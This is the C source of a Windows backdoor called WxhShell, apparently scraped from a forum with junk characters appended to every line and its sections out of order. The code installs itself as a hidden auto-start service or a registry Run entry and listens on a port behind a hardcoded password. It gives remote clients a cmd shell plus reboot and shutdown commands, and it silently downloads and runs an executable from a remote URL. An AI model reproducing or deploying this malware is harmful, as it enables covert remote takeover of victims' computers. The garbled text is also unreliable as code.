    closesocket(wsh); t)^18 z  
    ExitThread(0); ]D&\|,,(  
    } bPUldkB:  
    break; Ys+NIV#Q  
    } gN5;Uk  
  // 关机 /\d@AB^5I  
  case 'd': { RAAu3QKu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NNn sq@?6  
    if(Boot(SHUTDOWN)) k5o{mWI b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ nHf0.V1  
    else {  [kL`'yi  
    closesocket(wsh); ;I!Vba  
    ExitThread(0); Cm~z0c|T  
    } 9Je+|+s]  
    break; zx`(ojfu  
    } ) $=!e%{  
  // 获取shell "s.s(TR8  
  case 's': { Bf8[(oc~  
    CmdShell(wsh); f2G 3cg~H  
    closesocket(wsh); I,@ 6w  
    ExitThread(0); Tjj-8cg  
    break; O 2W2&vY  
  } rYPj3!#  
  // 退出 0+6=ag%  
  case 'x': { @\|Fd)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wz)@k2  
    CloseIt(wsh); {I]>!V0j!  
    break; T/iZ"\(~w  
    } )kvrQ6  
  // 离开 _<6B.{$\7m  
  case 'q': { `=19iAp.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zr^"zcfz&  
    closesocket(wsh); <P0&!yN  
    WSACleanup(); ?eOw8Rom  
    exit(1); a|kEza,]  
    break; uQO\vRh0  
        } }Wz[ox9b  
  } =H/ 5  
  } @Jc^ur  
-v{LT=,O  
  // 提示信息 =.2)wA"e'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NQIbav^5  
} QW= X#yrDO  
  } yyc4'j+  
e1Bqd+  
  return; qTI_'q  
} |)+45e  
Fr)6<9%xVm  
// shell模块句柄 ^|ul3_'?  
int CmdShell(SOCKET sock) W #V`|JA  
{ CM4#Nn=i~  
STARTUPINFO si; UYvdzCUh  
ZeroMemory(&si,sizeof(si)); Eu`K2_b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lc\%7-%:5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b0uWUI(=  
PROCESS_INFORMATION ProcessInfo; uy8mhB+]  
char cmdline[]="cmd"; !m6=Us  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rH9[x8e  
  return 0; Z=zD~ka  
} ~$]Puv1V>  
e7M6|6nb  
// 自身启动模式 F`M`c%  
int StartFromService(void) = PIarUJ  
{ }$@E pM  
typedef struct A}G>JL  
{ npMPjknl  
  DWORD ExitStatus; U~O*9  
  DWORD PebBaseAddress; As>P(  
  DWORD AffinityMask; Aga{EKd  
  DWORD BasePriority; h=ben&m  
  ULONG UniqueProcessId; 9"f  
  ULONG InheritedFromUniqueProcessId; gzEcdDD  
}   PROCESS_BASIC_INFORMATION; ~=gpn|@b  
g96]>]A<{  
PROCNTQSIP NtQueryInformationProcess; F&$~]R=&  
51Q~/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vBYk"a6SD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #BwOWra  
j W/*-:  
  HANDLE             hProcess; A@)ou0[n@  
  PROCESS_BASIC_INFORMATION pbi; [ ]42$5eof  
UAOH9*9*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h7J4 p  
  if(NULL == hInst ) return 0; U?A3>  
HiSNEp$-4$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~RRS{\,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cS RmC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); StU9r0`  
^ wb9n  
  if (!NtQueryInformationProcess) return 0; BQL](Y "  
\T {<{<n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ca,U>'(y  
  if(!hProcess) return 0; V?-SvQIk1  
cXbQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z9JZV`dNgz  
_[,7DA.qc  
  CloseHandle(hProcess); xP $\ }  
%H3 M0J2L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7.bPPr&  
if(hProcess==NULL) return 0; d'[]  
pZ5eGA=  
HMODULE hMod; ~'0W(~Q8  
char procName[255]; Xk}\-&C7  
unsigned long cbNeeded; Y@limkN:  
#]z_pp:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \CrWKBL  
=`.OKUAn  
  CloseHandle(hProcess); wW|[Im&  
ZiC~8p_f  
if(strstr(procName,"services")) return 1; // 以服务启动 2<tU  
cBQ+`DXn5c  
  return 0; // 注册表启动 \-CL}Z}S  
} .x][ _I>  
l09DH+  
// 主模块 i/RA/q  
int StartWxhshell(LPSTR lpCmdLine) Xp0S  
{ 6-QcHJ>m6U  
  SOCKET wsl; r=S,/N(1  
BOOL val=TRUE; g)nT]+&  
  int port=0; 3c[]P2Bh  
  struct sockaddr_in door; ,D2nUk  
+lZvj=gW  
  if(wscfg.ws_autoins) Install(); G<Y}QhFU  
-YY@[5x?u  
port=atoi(lpCmdLine); j> dL:V&`  
3]h*6 V1$  
if(port<=0) port=wscfg.ws_port; e#(X++G  
BVu{To:g  
  WSADATA data; w]O,xO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?[2>x{5Z  
9}z%+t8u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B:#9   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IC+!XZqS  
  door.sin_family = AF_INET; gm =LM=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bVOJp% *s  
  door.sin_port = htons(port); |f2 bb  
LL+PAvMg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 75eZhs[b  
closesocket(wsl); F<J`1 :  
return 1; &{gy{npQ  
} r*{`_G=1  
=)nJ'}x  
  if(listen(wsl,2) == INVALID_SOCKET) { .qs5xGg#9  
closesocket(wsl); $^`@lyr  
return 1; P.- `[  
} (: @7IWZf@  
  Wxhshell(wsl); ftD(ed  
  WSACleanup(); a;=IOQ  
 bU$M)  
return 0; ))4RgS$  
 1t }  
} "x O+  
G rI<w.9X  
// 以NT服务方式启动 wicW9^ik  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Suy +XHV  
{ RKy!=#;17  
DWORD   status = 0; y#i` i  
  DWORD   specificError = 0xfffffff; SLda>I(p7&  
F$jfPy-f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AA0\C_W0p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z@v2t>@3k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  VM<$!Aaz  
  serviceStatus.dwWin32ExitCode     = 0; qO[_8's8  
  serviceStatus.dwServiceSpecificExitCode = 0; vGwpDu\RgX  
  serviceStatus.dwCheckPoint       = 0; +P<#6<gR  
  serviceStatus.dwWaitHint       = 0; 8~AL+*hn  
! =*k+gpF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :M8y 2f h  
  if (hServiceStatusHandle==0) return; {43 J'WsJ  
VcLzv{  
status = GetLastError(); \i3)/sZ?l  
  if (status!=NO_ERROR) j+("4b'  
{ lr]C'dD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #wp~lW9!s9  
    serviceStatus.dwCheckPoint       = 0; 4@QR2K|  
    serviceStatus.dwWaitHint       = 0; <[?ZpG  
    serviceStatus.dwWin32ExitCode     = status; f([d/  
    serviceStatus.dwServiceSpecificExitCode = specificError; vF)eo"_s*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); avW33owb@  
    return; CI=M0  
  } ^.c<b_(=h  
*gOUpbtXa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; * 'Bu-1{  
  serviceStatus.dwCheckPoint       = 0; i&j]FX6q  
  serviceStatus.dwWaitHint       = 0; q^h/64F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7G%:ckg  
} sQn@:Gk  
=3dd1n;8>  
// 处理NT服务事件,比如:启动、停止 wH+| & C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1vdG \$  
{ LIn2&r:U  
switch(fdwControl) A45!hhf  
{ k|^`0~E  
case SERVICE_CONTROL_STOP: 5]K2to)>`  
  serviceStatus.dwWin32ExitCode = 0; !\!j?z=O8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u}89v1._Jn  
  serviceStatus.dwCheckPoint   = 0; b-RuUfUn0  
  serviceStatus.dwWaitHint     = 0; I8Y #l'z  
  { 0+/ew8~$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3sp-0tUE  
  } B_* Ayk  
  return; D9!$H!T _  
case SERVICE_CONTROL_PAUSE: ?hYWxWW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J3$@: S'  
  break; pA6A*~QE  
case SERVICE_CONTROL_CONTINUE: QW_BT ^d"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 49YN@ PXC  
  break; mJYD"WgY  
case SERVICE_CONTROL_INTERROGATE: A_crK`3  
  break; E] rBq_S  
}; gt\kTn."  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g([M hf#  
} AF>t{rw=/  
KW/LyiP#  
// 标准应用程序主函数 I3u)y|Y=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZS[Ut  
{ D"exI]  
bnJ4Edy  
// 获取操作系统版本 jZ''0Lclpc  
OsIsNt=GetOsVer(); R?M>uaxn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hwcmt!y  
z0Z1J8Qq6.  
  // 从命令行安装 L3A2A  
  if(strpbrk(lpCmdLine,"iI")) Install(); N_/+B]r }T  
}G<~Cx5[  
  // 下载执行文件 fk!9` p'  
if(wscfg.ws_downexe) { -A zOujSS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 {  
  WinExec(wscfg.ws_filenam,SW_HIDE); p(nEcu  
} !(gSXe)*  
$9@AwS@Uu  
if(!OsIsNt) { + )[@  
// 如果时win9x,隐藏进程并且设置为注册表启动 |a %Wd  
HideProc(); 3R-5&!i  
StartWxhshell(lpCmdLine); v]Aop<KLX  
} U uC-R)  
else BWNI|pq)v  
  if(StartFromService()) _3.rPS,s  
  // 以服务方式启动 sPXjU5uq#  
  StartServiceCtrlDispatcher(DispatchTable); J4@-?xj=\q  
else =3!o _  
  // 普通方式启动 ci/qm\JI<<  
  StartWxhshell(lpCmdLine); V7.g,  
@C^wV  
return 0; pRd'\+  
} IUNr<w<  
*+nw%gZG  
H8g%h}6h  
w*&vH/D  
=========================================== K/j u=>  
uB#U( jl  
noM=8C&U  
}r@yBUW  
:Z x|=  
:HwdXhA6  
" #<Lv&-U<KT  
fx>U2  
#include <stdio.h> esj6=Gh  
#include <string.h> ?5/7 @V  
#include <windows.h> {f@Q&(g  
#include <winsock2.h> ,II3b( l  
#include <winsvc.h> ^9 ]iUx  
#include <urlmon.h> U|VL+9#hd  
L`X5\D'X  
#pragma comment (lib, "Ws2_32.lib") 'nBP%  
#pragma comment (lib, "urlmon.lib") d4*SfzB  
B\e*-:pq>  
#define MAX_USER   100 // 最大客户端连接数 Pq8oK'z -  
#define BUF_SOCK   200 // sock buffer ar6+n^pi0]  
#define KEY_BUFF   255 // 输入 buffer YB<nz<;JR  
[0aC]XQZ  
#define REBOOT     0   // 重启 =J)<Nx.gA  
#define SHUTDOWN   1   // 关机 miu?X!  
_> x}MW+  
#define DEF_PORT   5000 // 监听端口  mC$y*G  
! |UX4  
#define REG_LEN     16   // 注册表键长度 3T0~k--  
#define SVC_LEN     80   // NT服务名长度 @c'iT20  
euVDrJ^  
// 从dll定义API )G Alj;9A$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0 !{X8>x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p:5NMo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )#cZ& O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bxtH`^  
Qrg- xu=  
// wxhshell配置信息 =gD)j&~}_  
struct WSCFG { 6]~/`6Dub  
  int ws_port;         // 监听端口 XsQ81j.  
  char ws_passstr[REG_LEN]; // 口令 l`ZL^uT  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mms|jF oQ  
  char ws_regname[REG_LEN]; // 注册表键名 z<%bNnSO  
  char ws_svcname[REG_LEN]; // 服务名 ,]7ouH$H}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vt2. i$u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ( _6j@?u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wT\BA'VQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7@%qm|i>w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k6&~)7 -f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |+W{c`KL  
)9_W"'V  
}; xc 1d[dCdp  
_<#92v !F  
// default Wxhshell configuration 3*~`z9-z  
struct WSCFG wscfg={DEF_PORT, SsTBjIX  
    "xuhuanlingzhe", 6qFzo1LO  
    1, uX3yq<lK"  
    "Wxhshell", vJ}WNvncVF  
    "Wxhshell", qnboXGaFu  
            "WxhShell Service", ; F'IS/ttX  
    "Wrsky Windows CmdShell Service", gv>DOez/  
    "Please Input Your Password: ", jVd`J  
  1, "Gp Tmu?  
  "http://www.wrsky.com/wxhshell.exe", w01[oU$x=  
  "Wxhshell.exe" z+7V}aPM  
    }; bE.<vF&  
4@3\Ihv  
// 消息定义模块 c-(RjQ~M5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S',h*e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cB){b'WJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tjwf;g}$  
char *msg_ws_ext="\n\rExit."; py:L-5  
char *msg_ws_end="\n\rQuit."; cM'MgX9  
char *msg_ws_boot="\n\rReboot..."; 3 0[Xkz  
char *msg_ws_poff="\n\rShutdown..."; oSD=3DQ;  
char *msg_ws_down="\n\rSave to "; iL);bv W  
1>rQ).eT  
char *msg_ws_err="\n\rErr!"; !DFTg 4xb  
char *msg_ws_ok="\n\rOK!"; P"^Yx8L#  
<q!HY~"V  
char ExeFile[MAX_PATH]; ,HTwEq>-G  
int nUser = 0; kD)31P  
HANDLE handles[MAX_USER]; b4cTn 6  
int OsIsNt; 7>y]uT@ar  
N^$q;%  
SERVICE_STATUS       serviceStatus; #%k_V+o3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8c-ys-"#  
s 0Uid&qE  
// 函数声明 e}yF2|0FD  
int Install(void); 9!n95  
int Uninstall(void); Es7 c2YdU  
int DownloadFile(char *sURL, SOCKET wsh); 9DhM 9VU  
int Boot(int flag); ygnZ9ikh<-  
void HideProc(void); hRX9Du`$  
int GetOsVer(void); 0.x+ H9z  
int Wxhshell(SOCKET wsl); e8("G[P >  
void TalkWithClient(void *cs); Z,2?TT|p  
int CmdShell(SOCKET sock); \#]%S/_ A  
int StartFromService(void); Mb2a;s  
int StartWxhshell(LPSTR lpCmdLine); z@3gNY&7.8  
-d'F KOD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M?sax+'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :?zq!  
G{fPQ=  
// 数据结构和表定义 ]vz6DJs  
SERVICE_TABLE_ENTRY DispatchTable[] = 8%m\J:e R  
{ H"? 5]!p  
{wscfg.ws_svcname, NTServiceMain}, #;a+)~3*O  
{NULL, NULL} hzr, %r  
}; #~-Xt! I  
 VQH48{X  
// 自我安装 {AD-p!6G  
int Install(void) i*N2@Z[  
{ ]rj~3du\  
  char svExeFile[MAX_PATH]; RNw#s R  
  HKEY key; - @>]iBl  
  strcpy(svExeFile,ExeFile); |e@1@q(a[]  
XLpn3sX$  
// 如果是win9x系统,修改注册表设为自启动 L;")C,CwQ  
if(!OsIsNt) { \-]Jm[]^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E*5aLT5!,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * cW%Q@lit  
  RegCloseKey(key); ^-PYP:*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "r@#3T$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5}hQIO&^%  
  RegCloseKey(key); z_xy*Iif  
  return 0; 9_5>MmiB  
    } 6jc5B#  
  } 0Sd>*nC  
} w}l^B>Zz  
else { p1niS:}j  
e_epuki  
// 如果是NT以上系统,安装为系统服务 ZrEou}z(*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 02;'"EmP$  
if (schSCManager!=0) YX,;z/Jw2  
{ seK;TQ3/7  
  SC_HANDLE schService = CreateService 33lh~+C  
  ( u->[ y1JY  
  schSCManager, V=+|]`  
  wscfg.ws_svcname, D.{vuftu  
  wscfg.ws_svcdisp, ==?wG!v2h  
  SERVICE_ALL_ACCESS, [DjlkA/Zg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \[{8E}_"^  
  SERVICE_AUTO_START, ;} Lf  
  SERVICE_ERROR_NORMAL, u3 LoP_|  
  svExeFile, yO7H!}y_  
  NULL, A2\hmp@A@7  
  NULL, cD`?" n  
  NULL, $m5Iv_  
  NULL, jG `PyIgw  
  NULL dLH@,EKl)  
  ); e"^WXP.t&  
  if (schService!=0) h!(# /  
  { 6)YckxN^  
  CloseServiceHandle(schService); !1R?3rVQS  
  CloseServiceHandle(schSCManager); /1/'zF&R-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,x&WE@tD |  
  strcat(svExeFile,wscfg.ws_svcname); @*xP A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t&43)TPb.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -!~pa^j  
  RegCloseKey(key); RjUrpS[I  
  return 0; h~sTi  
    } ^^ix4[1$Z  
  } J#wf`VR%  
  CloseServiceHandle(schSCManager); ,|$1(z*a{c  
} 9s5s;ntz"  
} ck `td%  
YR\(*LJL  
return 1; sqhIKw@  
} 63\ CE_p  
3 +'vNc  
// 自我卸载 qmn l  
int Uninstall(void) 8SroA$^n  
{ "kcix!}&  
  HKEY key; [Y`E"1f2  
lQ^"-zO4  
if(!OsIsNt) { *N ~'0"#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =jm\8sl~~  
  RegDeleteValue(key,wscfg.ws_regname); Ew.6y=Ba  
  RegCloseKey(key); {Q$8p2W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M<l<n$rYS  
  RegDeleteValue(key,wscfg.ws_regname); L:&'z:,<  
  RegCloseKey(key); e`LvHU_0  
  return 0; %F150$(D  
  } \>oy2{=;'  
} oc-&}R4=  
} GJU(1%-  
else { 5.\|*+E~  
9f& !Uw_W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X*7VDt=  
if (schSCManager!=0) ,tZL"  
{ EY)?hJS,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n|H8O3@  
  if (schService!=0) 0[Yks NNl1  
  { +pK35u  
  if(DeleteService(schService)!=0) { EFtn !T  
  CloseServiceHandle(schService); 3hJ51=_0^  
  CloseServiceHandle(schSCManager); M7Xn=jc  
  return 0; be-HF;lZe'  
  } UnVa`@P^:G  
  CloseServiceHandle(schService); 0r$n  
  } \uo{I~Qd  
  CloseServiceHandle(schSCManager); Ed0}$ b  
} '?I3&lYz{  
} aEa.g.SZ  
\L?A4Qx)_  
return 1; h~%8p ]  
} vY4}vHH2  
WyB^b-QmDh  
// 从指定url下载文件 73u97oe>1  
int DownloadFile(char *sURL, SOCKET wsh) mcQ A'  
{ pR2U&OA  
  HRESULT hr; wLI1qoDM  
char seps[]= "/"; %'. x vC  
char *token; eFy {VpO+  
char *file; >*B59+1P  
char myURL[MAX_PATH]; +,7vbs3  
char myFILE[MAX_PATH]; _I,GH{lhI  
l%0-W  
strcpy(myURL,sURL); c*<BU6y  
  token=strtok(myURL,seps); "ig)7X+Wz|  
  while(token!=NULL) ~A%+oa*2~  
  { ?c"i V  
    file=token; ^g2Vz4u  
  token=strtok(NULL,seps); M'X,7hZ  
  } @!ja/Y^  
!YO'u'4<aK  
GetCurrentDirectory(MAX_PATH,myFILE); Mg}/gO% o  
strcat(myFILE, "\\"); gE*7[*2?t  
strcat(myFILE, file); qTWQ!  
  send(wsh,myFILE,strlen(myFILE),0); Ur1kb{i  
send(wsh,"...",3,0); }{PG^Fc<P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); icVB?M,m  
  if(hr==S_OK) >bmdu \j5R  
return 0; b,jo94.G  
else Hd-g|'^K  
return 1; 805oV(-  
4kV$JV.l  
}  (t@!0_5  
 N?,  
// 系统电源模块 BVus3Y5IJQ  
int Boot(int flag) BSr#;;\  
{ c1R[Hck  
  HANDLE hToken; H<nA*Zf2@R  
  TOKEN_PRIVILEGES tkp; XN\rq=  
#Rs5W  
  if(OsIsNt) { .*+jD^Gr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T~ XKV`LQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3)e{{]6  
    tkp.PrivilegeCount = 1; kQ2WdpZ/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <dXeP/1w`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I+3=|Ve f  
if(flag==REBOOT) { fX\y/C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qv:DpK  
  return 0; o7PS1qcya<  
} j}J=ZLr/V"  
else { _ q>|pt.W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OYmutq  
  return 0; ]70ZerQ~L  
} &VCg`r-{~  
  } EK Q>hww8  
  else { )@tHS-Jf  
if(flag==REBOOT) { -~_|ZnuM9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y>T>  
  return 0; s`v$r,N0  
} y La E]  
else { Be\@n xV[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jko=E   
  return 0;  Bw+ ?MdS  
} :7Uv)@iUk  
} '<e$ c  
4}*.0'Hz  
return 1; 9`^(M^|c  
} k`z]l;:  
S|6i]/  
// win9x进程隐藏模块 xj AU Csq  
void HideProc(void)  VS7  
{ U ){4W0  
3=Uyt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?Ycl!0m  
  if ( hKernel != NULL ) nC?Lz1re  
  { 8`1]#Vw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `]l|YQz\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a>d`g  
    FreeLibrary(hKernel); #2Vq"Zn  
  } p)m5|GH24  
>b:5&s\9  
return; *c$UIg  
} ,S`F xJcE  
*p\fb7Pu_3  
// 获取操作系统版本 <{YzmN\Z  
int GetOsVer(void) i]@k'2N  
{ NweGK  
  OSVERSIONINFO winfo; im)r4={ 9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P{J9#.Zq&s  
  GetVersionEx(&winfo); v:w^$]4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NMC0y|G  
  return 1; V_n tS& 2o  
  else t0/Ol'kgs  
  return 0; cBOt=vg,5  
} 4? rEO(SZ  
1M55!b  
// 客户端句柄模块 :v$)Z~  
int Wxhshell(SOCKET wsl) ,iZKw8]f  
{ d{B0a1P  
  SOCKET wsh; ,":_CY4(  
  struct sockaddr_in client; t56PzT'M  
  DWORD myID; {%&04yq+  
\O,yWyU4  
  while(nUser<MAX_USER) T#I}w\XlhP  
{ 4+p1`  
  int nSize=sizeof(client); ~6QV?j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 376z~  
  if(wsh==INVALID_SOCKET) return 1; lh XD9ed  
Tfv @oPu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &%(SkL_]  
if(handles[nUser]==0) ~,8#\]xR  
  closesocket(wsh); q@ wX=  
else kK:Wr&X0H  
  nUser++; &t!f dti  
  } F8/n;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qs8yJH`v  
@$%.iQ7A;  
  return 0; VyNU<}  
} Es\J%*\u  
DPmY_[OAE  
// 关闭 socket C58B(Ndo  
void CloseIt(SOCKET wsh) u{D]Kc?n  
{ uFlf#t =  
closesocket(wsh); :C0)[L  
nUser--; z?UEn#E2  
ExitThread(0); nhZ/^`Y<  
} PTXS8e4  
/_8nZVu  
// 客户端请求句柄 m?8o\|i,  
void TalkWithClient(void *cs) ;l < amB  
{ *o(bB!q"c  
CEzdH!nP  
  SOCKET wsh=(SOCKET)cs; f^IB:e#j;  
  char pwd[SVC_LEN]; Q+_z*  
  char cmd[KEY_BUFF]; ]'hel#L;l  
char chr[1]; mGmZ}H'{  
int i,j; "W9z>ezp  
^![7X'!;pt  
  while (nUser < MAX_USER) { ^ 6Yt2Bhs  
VrhHcvnZ  
if(wscfg.ws_passstr) { "kIlxf3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t47;X}y f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \DD4=XGA  
  //ZeroMemory(pwd,KEY_BUFF); :gRVa=}=  
      i=0; Tn\{*A  
  while(i<SVC_LEN) { ;Cty"H,  
)g]A 'A=  
  // 设置超时 H_1&>@ 3  
  fd_set FdRead; KO"+"1 .  
  struct timeval TimeOut; K&"X7fQ  
  FD_ZERO(&FdRead); OW!y7  
  FD_SET(wsh,&FdRead); T5:xia>8O  
  TimeOut.tv_sec=8; 7pnlS*E.  
  TimeOut.tv_usec=0; @2_ E9{T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,WW=,P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z,~@_;F  
rx<P#y]3)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =fB"T+  
  pwd=chr[0]; K;w]sN+I  
  if(chr[0]==0xd || chr[0]==0xa) { N+pCC  
  pwd=0; ^.~e  
  break; pRjrMS  
  } wMCgL h\wi  
  i++; ;W\?lGOs{  
    } 6UqDpL7^U  
13Q87i5B  
  // 如果是非法用户,关闭 socket RfCu5Kn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =xSf-\F  
} N'pYz0_H  
+4[9Eb'k=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >S{8sN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WU,b<PU &  
axN\ZXU  
while(1) { C!6D /S  
|=:hUp Jp  
  ZeroMemory(cmd,KEY_BUFF); r;wm`(e  
Z:2%gU&W  
      // 自动支持客户端 telnet标准   )?6%d  
  j=0; ={o)82LV  
  while(j<KEY_BUFF) { lB#7j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5as5{"l  
  cmd[j]=chr[0]; 'cc{sjG  
  if(chr[0]==0xa || chr[0]==0xd) { Np$ue }yr  
  cmd[j]=0; l2Rnyb<;;  
  break; it-2]Nw  
  } E!L_"GW  
  j++; J 5xZL v  
    } T~g`;Q%i  
-"#jRP]#  
  // 下载文件 _U^G*EqL*  
  if(strstr(cmd,"http://")) { vCOtED*<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2gEF$?+q?  
